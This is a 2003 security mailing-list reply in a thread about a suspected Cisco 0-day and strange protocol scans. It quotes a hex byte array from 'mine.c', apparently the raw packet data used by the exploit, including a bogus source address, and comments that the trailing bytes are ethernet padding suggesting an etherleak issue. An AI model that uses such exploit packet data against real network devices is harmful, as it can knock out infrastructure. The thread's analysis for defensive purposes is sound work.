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Re: Cisco 0-day? [Was: strange protocol scans (and MOBP plug)]

From: Philippe Biondi <biondi(at)cartel-securite.fr>
Date: Sun Jul 20 2003 - 07:03:12 EDT


On Sat, 19 Jul 2003, Michal Zalewski wrote:

> On Sat, 19 Jul 2003, Michal Zalewski wrote:

from mine.c:

unsigned char data[]={
0x45,0,0,0x14,0xfd,0xb1,0,0,0,0x37,0x08,0x1b,

80,50,156,4, /* bogus source */
0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0x23,0x12,0x77,0xaf};

The last line is ethernet padding, it should not be needed in the exploit and may be the sign of an etherleak vulnerbility in your lan.

-- 
Philippe Biondi  Cartel Sécurité
Security Consultant/R&D                      
http://www.cartel-securite.fr
PGP KeyID:3D9A43E2  FingerPrint:C40A772533730E39330DC0985EE8FF5F3D9A43E2



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Received on Sun Jul 20 14:12:26 2003

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